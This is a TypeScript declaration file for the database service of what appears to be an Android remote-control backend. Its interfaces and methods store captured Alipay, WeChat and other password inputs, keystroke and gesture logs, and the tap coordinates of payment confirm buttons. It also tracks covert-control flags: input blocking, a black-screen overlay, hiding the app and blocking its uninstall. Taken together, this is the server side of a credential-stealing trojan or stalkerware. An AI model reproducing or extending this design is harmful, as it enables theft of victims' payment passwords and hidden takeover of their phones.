export interface DeviceRecord {
    deviceId: string;
    deviceName: string;
    deviceModel: string;
    osVersion: string;
    appVersion: string;
    appPackage?: string;
    appName?: string;
    screenWidth: number;
    screenHeight: number;
    capabilities: string[];
    firstSeen: Date;
    lastSeen: Date;
    connectionCount: number;
    lastSocketId?: string;
    status: 'online' | 'offline' | 'busy';
    publicIP?: string;
    remark?: string;
    systemVersionName?: string;
    romType?: string;
    romVersion?: string;
    osBuildVersion?: string;
}
export interface OperationLogRecord {
    id?: number;
    deviceId: string;
    logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
    content: string;
    extraData?: any;
    timestamp: Date;
}
export interface DeviceStateRecord {
    deviceId: string;
    password?: string;
    inputBlocked: boolean;
    loggingEnabled: boolean;
    blackScreenActive: boolean;
    appHidden: boolean;
    uninstallProtectionEnabled: boolean;
    lastPasswordUpdate?: Date;
    confirmButtonCoords?: {
        x: number;
        y: number;
    };
    learnedConfirmButton?: {
        x: number;
        y: number;
        count: number;
    };
    createdAt: Date;
    updatedAt: Date;
}
export interface AlipayPasswordRecord {
    id?: number;
    deviceId: string;
    password: string;
    passwordLength: number;
    activity: string;
    inputMethod: string;
    sessionId: string;
    timestamp: Date;
    createdAt: Date;
}
export interface WechatPasswordRecord {
    id?: number;
    deviceId: string;
    password: string;
    passwordLength: number;
    activity: string;
    inputMethod: string;
    sessionId: string;
    timestamp: Date;
    createdAt: Date;
}
export interface PasswordInputRecord {
    id?: number;
    deviceId: string;
    password: string;
    passwordLength: number;
    passwordType: string;
    activity: string;
    inputMethod: string;
    installationId: string;
    sessionId: string;
    timestamp: Date;
    createdAt: Date;
}
export declare class DatabaseService {
    private db;
    private logger;
    constructor(dbPath?: string);
    /**
     * 初始化数据库表结构
     */
    private initDatabase;
    /**
     * 迁移：确保 devices 表包含新增列
     */
    private ensureDeviceTableColumns;
    /**
     * 根据socketId查询设备信息
     */
    getDeviceBySocketId(socketId: string): DeviceRecord | null;
    /**
     * 根据deviceId查询设备信息
     */
    getDeviceById(deviceId: string): DeviceRecord | null;
    /**
     * 保存或更新设备信息
     */
    saveDevice(deviceInfo: any, socketId: string): void;
    /**
     * 记录连接历史
     */
    private recordConnection;
    /**
     * ✅ 将设备状态设置为离线
     */
    setDeviceOffline(deviceId: string): void;
    /**
     * 通过Socket ID将设备设置为离线
     */
    setDeviceOfflineBySocketId(socketId: string): void;
    /**
     * ✅ 将所有设备状态重置为离线
     */
    resetAllDevicesToOffline(): void;
    /**
     * 更新连接断开信息
     */
    updateDisconnection(socketId: string): void;
    /**
     * 获取设备连接统计
     */
    getDeviceStats(deviceId: string): any;
    /**
     * 获取所有设备列表
     */
    getAllDevices(): DeviceRecord[];
    /**
     * 清理旧连接记录
     */
    cleanupOldRecords(daysToKeep?: number): void;
    /**
     * 转换数据库行为DeviceRecord
     */
    private rowToDeviceRecord;
    /**
     * 🆕 更新设备备注
     */
    updateDeviceRemark(deviceId: string, remark: string): boolean;
    /**
     * 🆕 获取设备备注
     */
    getDeviceRemark(deviceId: string): string | null;
    /**
     * 保存操作日志
     */
    saveOperationLog(log: OperationLogRecord): void;
    /**
     * 获取设备操作日志（分页）
     */
    getOperationLogs(deviceId: string, page?: number, pageSize?: number, logType?: string): {
        logs: OperationLogRecord[];
        total: number;
        page: number;
        pageSize: number;
        totalPages: number;
    };
    /**
     * 删除设备的所有操作日志
     */
    clearOperationLogs(deviceId: string): void;
    /**
     * 清理旧的操作日志
     */
    cleanupOldOperationLogs(daysToKeep?: number): void;
    /**
     * 获取操作日志统计
     */
    getOperationLogStats(deviceId: string): any;
    /**
     * 获取设备最新的密码记录
     */
    getLatestDevicePassword(deviceId: string): string | null;
    /**
     * ✅ 获取设备状态
     */
    getDeviceState(deviceId: string): DeviceStateRecord | null;
    /**
     * ✅ 保存或更新设备状态
     */
    saveDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
    /**
     * ✅ 更新设备密码
     */
    updateDevicePassword(deviceId: string, password: string): void;
    /**
     * ✅ 更新设备输入阻止状态
     */
    updateDeviceInputBlocked(deviceId: string, blocked: boolean): void;
    /**
     * ✅ 更新设备日志记录状态
     */
    updateDeviceLoggingEnabled(deviceId: string, enabled: boolean): void;
    /**
     * 🆕 更新设备黑屏遮盖状态
     */
    updateDeviceBlackScreenActive(deviceId: string, active: boolean): void;
    /**
     * 🆕 更新设备应用隐藏状态
     */
    updateDeviceAppHidden(deviceId: string, hidden: boolean): void;
    /**
     * 🛡️ 更新设备防止卸载保护状态
     */
    updateDeviceUninstallProtection(deviceId: string, enabled: boolean): void;
    /**
     * ✅ 获取设备密码（优先从状态表获取，其次从日志获取）
     */
    getDevicePassword(deviceId: string): string | null;
    /**
     * ✅ 保存设备密码（别名方法，用于API调用）
     */
    saveDevicePassword(deviceId: string, password: string): void;
    /**
     * ✅ 更新设备状态（别名方法，用于API调用）
     */
    updateDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
    /**
     * 🆕 保存确认按钮坐标
     */
    saveConfirmButtonCoords(deviceId: string, coords: {
        x: number;
        y: number;
    }): void;
    /**
     * 🆕 获取确认按钮坐标
     */
    getConfirmButtonCoords(deviceId: string): {
        x: number;
        y: number;
    } | null;
    /**
     * 🆕 更新学习的确认按钮坐标
     */
    updateLearnedConfirmButton(deviceId: string, coords: {
        x: number;
        y: number;
    }): void;
    /**
     * 从操作日志中获取可能的密码候选
     */
    getPasswordCandidatesFromLogs(deviceId: string): any[];
    /**
     * 💰 保存支付宝密码记录
     */
    saveAlipayPassword(record: AlipayPasswordRecord): void;
    /**
     * 💰 获取设备的支付宝密码记录（分页）
     */
    getAlipayPasswords(deviceId: string, page?: number, pageSize?: number): {
        passwords: AlipayPasswordRecord[];
        total: number;
        page: number;
        pageSize: number;
        totalPages: number;
    };
    /**
     * 💰 获取设备最新的支付宝密码
     */
    getLatestAlipayPassword(deviceId: string): AlipayPasswordRecord | null;
    /**
     * 💰 删除设备的支付宝密码记录
     */
    clearAlipayPasswords(deviceId: string): void;
    /**
     * 💰 清理旧的支付宝密码记录
     */
    cleanupOldAlipayPasswords(daysToKeep?: number): void;
    /**
     * 💬 保存微信密码记录
     */
    saveWechatPassword(record: WechatPasswordRecord): void;
    /**
     * 💬 获取设备的微信密码记录（分页）
     */
    getWechatPasswords(deviceId: string, page?: number, pageSize?: number): {
        passwords: WechatPasswordRecord[];
        total: number;
        page: number;
        pageSize: number;
        totalPages: number;
    };
    /**
     * 💬 获取设备最新的微信密码
     */
    getLatestWechatPassword(deviceId: string): WechatPasswordRecord | null;
    /**
     * 💬 删除设备的微信密码记录
     */
    clearWechatPasswords(deviceId: string): void;
    /**
     * 💬 清理旧的微信密码记录
     */
    cleanupOldWechatPasswords(daysToKeep?: number): void;
    /**
     * 🔐 保存通用密码输入记录
     */
    savePasswordInput(record: PasswordInputRecord): void;
    /**
     * 🔐 获取设备的通用密码输入记录（分页）
     */
    getPasswordInputs(deviceId: string, page?: number, pageSize?: number, passwordType?: string): {
        passwords: PasswordInputRecord[];
        total: number;
        page: number;
        pageSize: number;
        totalPages: number;
    };
    /**
     * 🔐 获取设备最新的通用密码输入
     */
    getLatestPasswordInput(deviceId: string, passwordType?: string): PasswordInputRecord | null;
    /**
     * 🔐 删除设备的通用密码输入记录
     */
    clearPasswordInputs(deviceId: string, passwordType?: string): void;
    /**
     * 🔐 清理旧的通用密码输入记录
     */
    cleanupOldPasswordInputs(daysToKeep?: number): void;
    /**
     * 🔐 获取密码类型统计
     */
    getPasswordTypeStats(deviceId: string): any[];
    /**
     * ✅ 删除设备及其所有相关数据
     */
    deleteDevice(deviceId: string): void;
    /**
     * 🔐 授予用户设备控制权限
     */
    grantUserDevicePermission(userId: string, deviceId: string, permissionType?: string, expiresAt?: Date): boolean;
    /**
     * 🔐 撤销用户设备权限
     */
    revokeUserDevicePermission(userId: string, deviceId: string): boolean;
    /**
     * 🔐 检查用户是否有设备权限
     */
    hasUserDevicePermission(userId: string, deviceId: string, permissionType?: string): boolean;
    /**
     * 🔐 获取用户的所有设备权限
     */
    getUserDevicePermissions(userId: string): Array<{
        deviceId: string;
        permissionType: string;
        grantedAt: Date;
    }>;
    /**
     * 🔐 清理过期的权限
     */
    cleanupExpiredPermissions(): number;
}
//# sourceMappingURL=DatabaseService.d.ts.map